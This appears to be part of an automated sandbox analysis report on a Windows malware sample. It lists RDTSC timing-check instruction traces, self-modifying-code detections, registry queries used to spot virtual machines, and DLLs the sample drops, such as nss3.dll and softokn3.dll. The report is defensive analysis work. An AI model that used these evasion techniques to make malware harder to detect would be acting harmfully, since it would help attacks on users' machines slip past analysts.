Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60BA4F second address: 60BA62 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60BA62 second address: 60BA7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2F50F30764h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5D2DF9 second address: 5D2DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6106B4 second address: 6106B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6106B8 second address: 6106C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2F50B4A336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6106C4 second address: 6106EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F2F50F30764h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F2F50F30756h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 610979 second address: 610997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F2F50B4A348h 0x0000000c jmp 00007F2F50B4A342h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 610997 second address: 6109C0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2F50F3075Eh 0x00000008 jns 00007F2F50F30756h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 jbe 00007F2F50F30756h 0x0000001a jmp 00007F2F50F3075Dh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6109C0 second address: 6109CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6109CB second address: 6109D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2F50F30756h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 610DE6 second address: 610DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 610DF7 second address: 610E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F2F50F30762h 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F2F50F30756h 0x00000013 jmp 00007F2F50F3075Bh 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 610E22 second address: 610E28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 611FC2 second address: 612000 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 3A35AE64h 0x0000000e jnp 00007F2F50F3076Dh 0x00000014 call 00007F2F50F30760h 0x00000019 sub edi, dword ptr [ebp+122D2CF0h] 0x0000001f pop esi 0x00000020 call 00007F2F50F30759h 0x00000025 push eax 0x00000026 push edx 0x00000027 jnc 00007F2F50F30758h 0x0000002d rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 612000 second address: 612034 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2F50B4A33Ch 0x00000008 jnp 00007F2F50B4A336h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F2F50B4A33Ah 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 push ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 jc 00007F2F50B4A336h 0x0000002f rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 612484 second address: 6124A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2F50F3075Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F2F50F30758h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 612B83 second address: 612BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 jmp 00007F2F50B4A341h 0x0000000e xchg eax, ebx 0x0000000f mov edi, dword ptr [ebp+12459D3Eh] 0x00000015 nop 0x00000016 pushad 0x00000017 pushad 0x00000018 jc 00007F2F50B4A336h 0x0000001e jnl 00007F2F50B4A336h 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 612BB8 second address: 612BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 612BBC second address: 612BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6131B7 second address: 6131E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 mov dword ptr [ebp+124582E0h], esi 0x0000000d push eax 0x0000000e jo 00007F2F50F3077Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2F50F30765h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6147BD second address: 6147C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6147C1 second address: 6147D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2F50F3075Dh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6147D4 second address: 6147D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6147D9 second address: 6147E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2F50F30756h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 614E5E second address: 614E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 614E62 second address: 614EC1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2F50F3075Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F2F50F3075Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F2F50F30758h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b cld 0x0000002c push 00000000h 0x0000002e jbe 00007F2F50F30756h 0x00000034 push 00000000h 0x00000036 mov edi, ebx 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F2F50F30761h 0x00000040 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 614EC1 second address: 614EC6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 614EC6 second address: 614EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2F50F3075Dh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 615849 second address: 615863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A346h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 615863 second address: 6158C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F2F50F30758h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 jmp 00007F2F50F3075Bh 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D1DD0h], ecx 0x00000032 push 00000000h 0x00000034 add dword ptr [ebp+122D2001h], ebx 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e jmp 00007F2F50F30769h 0x00000043 pop ebx 0x00000044 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61729F second address: 6172A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 617CBB second address: 617CC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 617CC1 second address: 617CC6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 617CC6 second address: 617CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007F2F50F3075Eh 0x0000000f pop ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A188 second address: 61A18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A18E second address: 61A19E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F2F50F30756h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A19E second address: 61A1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A1A2 second address: 61A1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A1A6 second address: 61A1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50B4A33Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007F2F50B4A336h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A8B6 second address: 61A8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61A8BA second address: 61A8C4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2F50B4A33Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B2E0 second address: 61B2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2F50F30763h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6160C6 second address: 6160CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B2FA second address: 61B317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F2F50F3075Fh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6160CC second address: 6160D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B317 second address: 61B31D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B31D second address: 61B321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B321 second address: 61B38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F2F50F30758h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D2BD0h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F2F50F30758h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov si, FB09h 0x00000049 cmc 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d ja 00007F2F50F30764h 0x00000053 push eax 0x00000054 push edx 0x00000055 jbe 00007F2F50F30756h 0x0000005b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61ECED second address: 61ECF7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61ECF7 second address: 61ECFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61ECFD second address: 61ED01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61F229 second address: 61F244 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2F50F30758h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F2F50F3075Ch 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 62119B second address: 6211A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6217F0 second address: 62188B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, esi 0x0000000f js 00007F2F50F3075Ch 0x00000015 mov dword ptr [ebp+122D1917h], esi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F2F50F30758h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 call 00007F2F50F3075Fh 0x0000003c jnp 00007F2F50F3075Ch 0x00000042 pop edi 0x00000043 xor edi, 08B75630h 0x00000049 xor edi, dword ptr [ebp+122D2CECh] 0x0000004f push 00000000h 0x00000051 push 00000000h 0x00000053 push esi 0x00000054 call 00007F2F50F30758h 0x00000059 pop esi 0x0000005a mov dword ptr [esp+04h], esi 0x0000005e add dword ptr [esp+04h], 00000016h 0x00000066 inc esi 0x00000067 push esi 0x00000068 ret 0x00000069 pop esi 0x0000006a ret 0x0000006b mov dword ptr [ebp+122D19BBh], esi 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 jg 00007F2F50F3075Ch 0x0000007a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 623834 second address: 623838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 624F22 second address: 624F31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 625F0F second address: 625F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 625F13 second address: 625F2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30764h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 625F2B second address: 625F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F2F50B4A336h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 625F36 second address: 625FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edi, 1ED25D86h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F2F50F30758h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F2F50F30758h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 push eax 0x00000046 xor dword ptr [ebp+122D1E0Fh], ebx 0x0000004c pop ebx 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F2F50F30767h 0x00000055 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6290F1 second address: 6290F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6290F6 second address: 629122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2F50F30769h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 62A026 second address: 62A041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2F50B4A341h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 62A041 second address: 62A058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 62C14C second address: 62C151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B08A second address: 61B08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 61B08E second address: 61B092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEFD30 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEFE05 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C9AD93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2A867 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Special instruction interceptor: First address: 45ECE3 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Special instruction interceptor: First address: 60C825 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Special instruction interceptor: First address: 60AFB1 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Special instruction interceptor: First address: 69876F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7ECE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 22C825 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 22AFB1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2B876F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Special instruction interceptor: First address: 12F49D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Special instruction interceptor: First address: 1497700 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Special instruction interceptor: First address: 1523C88 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKKJKFBKKEC.exe

Code function: 23_2_04B00378 rdtsc

23_2_04B00378

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

